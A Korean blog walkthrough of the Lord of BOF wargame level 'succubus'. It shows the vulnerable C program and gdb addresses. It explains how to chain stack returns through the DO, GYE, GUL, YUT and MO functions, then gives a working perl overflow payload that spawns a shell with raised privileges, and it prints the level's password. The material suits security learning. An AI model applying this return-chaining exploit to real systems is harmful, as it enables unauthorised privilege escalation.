본문 바로가기

워게임/lord of bof

level 16 -> 17


[zombie_assassin@localhost zombie_assassin]$ cat succubus.c 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - succubus

        - calling functions continuously 

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


// the inspector

int check = 0;


void MO(char *cmd)

{

        if(check != 4)

                exit(0);


        printf("welcome to the MO!\n");


// olleh!

system(cmd);

}


void YUT(void)

{

        if(check != 3)

                exit(0);


        printf("welcome to the YUT!\n");

        check = 4;

}


void GUL(void)

{

        if(check != 2)

                exit(0);


        printf("welcome to the GUL!\n");

        check = 3;

}


void GYE(void)

{

if(check != 1)

exit(0);


printf("welcome to the GYE!\n");

check = 2;

}


void DO(void)

{

printf("welcome to the DO!\n");

check = 1;

}


main(int argc, char *argv[])

{

char buffer[40];

char *addr;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// you cannot use library

if(strchr(argv[1], '\x40')){

printf("You cannot use library\n");

exit(0);

}


// check address

addr = (char *)&DO;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with DO\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // stack destroyer

// 100 : extra space for copied argv[1]

        memset(buffer, 0, 44);

memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));


// LD_* eraser

// 40 : extra space for memset function

memset(buffer-3000, 0, 3000-40);

}

ret랑 ret로부터 100byte까지는 버퍼를 초기화하지않고 그냥 둡니다.


여길 이용하는게 포인트인 것 같네요..


또한 ret의 주소는 DO()함수의 주소로 고정시켜야만 할 것 같습니다.



일단 각 함수의 주소는 다음과 같습니다.


(gdb) p DO

$1 = {<text variable, no debug info>} 0x80487ec <DO>

(gdb) p GYE

$2 = {<text variable, no debug info>} 0x80487bc <GYE>

(gdb) p GUL

$3 = {<text variable, no debug info>} 0x804878c <GUL>

(gdb) p YUT

$4 = {<text variable, no debug info>} 0x804875c <YUT>

(gdb) p MO 

$5 = {<text variable, no debug info>} 0x8048724 <MO>


스택에서의 함수 호출은 [함수 주소] [리턴 주소] [(필요한 경우)인자~] 이런 식의 구조를 가지고서 함수 호출이 이루어집니다.


하지만 인자를 필요로하지 않는 함수는? 리턴 주소까지 읽어서 함수 호출을 하게 됩니다.


때문에 인자가 없는 함수의 연속적인 호출은 [함수 주소 1] [(리턴)함수 주소 2] 3 4.. 이런식으로 지속적인 리턴과 호출을 반복해주어 가능하게 됩니다.


따라서 다음과 같은 페이로드를 작성하여 연속적인 호출을 일으킬 수 있습니다.


`perl -e 'print "A"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08",  "B"x123'`


말했듯이 RET 이후 100바이트는 남겨놓기 때문에 널널하게 활용하실 수 있습니다.


그렇기에 [/bin/sh가 저장되어 있는 주소] [/bin/sh]를 페이로드 뒤쪽에 추가해도 별 문제가 없을겁니당.


페이로드를 만들어서 확인해봅시다!


[zombie_assassin@localhost zombie_assassin]$ ./succubus `perl -e 'print "A"x44, "\xec\x87\x04\x08", "\xbc\x87\x04\x08", "\x8c\x87\x04\x08", "\x5c\x87\x04\x08", "\x24\x87\x04\x08", "AAAA", "\x58\xfa\xff\xbf", "/bin/sh"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?펶??\?$?AAAAX??bin/sh

welcome to the DO!

welcome to the GYE!

welcome to the GUL!

welcome to the YUT!

welcome to the MO!

bash$ id

uid=516(zombie_assassin) gid=516(zombie_assassin) euid=517(succubus) egid=517(succubus) groups=516(zombie_assassin)

bash$ my-pass

euid = 517

here to stay

bash$ 


성공입니다. 헌데 한 두 번 정도는 스택 주소 변동으로 인해 실패하실 수 있으니 코어 덤프를 잘 활용해보시기 바랍니다!



'워게임 > lord of bof' 카테고리의 다른 글

level 18 -> 19  (0) 2015.10.23
level 17 -> 18  (0) 2015.10.23
level 15 -> 16  (0) 2015.10.23
level 14 -> 15  (0) 2015.10.23
level 13 -> 14  (0) 2015.10.23